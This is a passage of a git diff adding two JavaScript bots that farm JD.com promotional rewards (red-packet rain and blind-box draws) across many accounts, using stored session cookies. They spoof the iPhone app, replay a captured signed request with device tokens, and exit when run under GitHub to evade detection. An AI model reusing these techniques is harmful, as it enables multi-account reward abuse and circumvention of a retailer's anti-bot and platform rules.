错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_live_redrain2.js b/activity/jd_live_redrain2.js new file mode 100644 index 0000000..a837589 --- /dev/null +++ b/activity/jd_live_redrain2.js @@ -0,0 +1,244 @@ +/* +超级直播间红包雨 +每天20-23半点可领,每日上限未知 +活动时间:活动时间未知 +更新地址:jd_live_redrain2.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#超级直播间红包雨 +30 20-23/1 * * * jd_live_redrain2.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "30 20-23/1 * * *" script-path=jd_live_redrain2.js, tag=超级直播间红包雨 + +===============Surge================= +超级直播间红包雨 = type=cron,cronexp="30 20-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain2.js + +============小火箭========= +超级直播间红包雨 = type=cron,script-path=jd_live_redrain2.js, cronexpr="30 20-23/1 * * *", timeout=3600, enable=true + */ +const $ = new Env('超级直播间红包雨'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await getRedRain(); + if(!$.activityId) return + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 + // console.log(nowTs, $.startTime, $.endTime) + if ($.startTime <= nowTs && nowTs < $.endTime) { + await receiveRedRain(); + } else { + console.log(`不在红包雨时间之内`) + message += `不在红包雨时间之内` + } + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getRedRain() { + return new Promise(resolve => { + $.post(taskPostUrl('liveActivityV842'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let act = data.data.iconArea[0] + let url = data.data.iconArea[0].data.activityUrl + $.activityId = url.substr(url.indexOf("id=") + 3) + $.startTime = act.startTime + $.endTime = act.endTime + console.log(`下一场红包雨开始时间:${new Date(act.startTime)}`) + console.log(`下一场红包雨结束时间:${new Date(act.endTime)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveRedRain() { + return new Promise(resolve => { + const body = {"actId": $.activityId}; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message += `${data.lotteryResult.jPeasList[0].ext}:${(data.lotteryResult.jPeasList[0].quantity)}京豆\n` + + } else if (data.subCode === '8') { + console.log(`今日次数已满`) + message += `领取失败,今日已签到\n`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}`, + body: 'area=12_904_908_57903&body=%7B%22liveId%22%3A%223019486%22%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=00bd2eef415d0c689bd0bd74620682dd&st=1607777434410&sv=101&uts=0f31TVRjBSsySvX9aqk89gHBMqz5E28EYCqc3cRu/4%2Bv0EzRuStHwMI1R5P9RqeizLow/pAquaX1v5IJQGVxUzSfExCFmfO0L7BEMvXnkeCZhKEsmSkbQm54W7ig8aRsmHiXp7YT/SOV7sEKxXauv59O/SAAFkr1egGgKev7Uj81nJRFDnNRSomlrOj2jQzH6iddCTSpydcSYRnDyDcodA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D', + headers: { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + //"Cookie": cookie, + } + } +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/active/redrain/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_mh.js b/activity/jd_mh.js new file mode 100644 index 0000000..9ce0728 --- /dev/null +++ b/activity/jd_mh.js @@ -0,0 +1,294 @@ +/* +盲盒抽京豆 +活动时间:2021年1月6日~2021年2月5日 +更新地址:jd_mh.js +活动入口:https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#盲盒抽京豆 +1 7 * * * jd_mh.js, tag=盲盒抽京豆, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_mh.jpg, enabled=true + +================Loon============== +[Script] +cron "1 7 * * *" script-path=jd_mh.js,tag=盲盒抽京豆 + +===============Surge================= +盲盒抽京豆 = type=cron,cronexp="1 7 * * *",wake-system=1,timeout=200,script-path=jd_mh.js + +============小火箭========= +盲盒抽京豆 = type=cron,script-path=jd_mh.js, cronexpr="1 8,12,18* * *", timeout=200, enable=true + */ +const $ = new Env('盲盒抽京豆'); +const notify = $.isNode() ? require('../sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdMh() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMh() { + await getInfo() + await getUserInfo() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +function getInfo() { + return new Promise(resolve => { + $.get({ + url: 'https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd', + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return 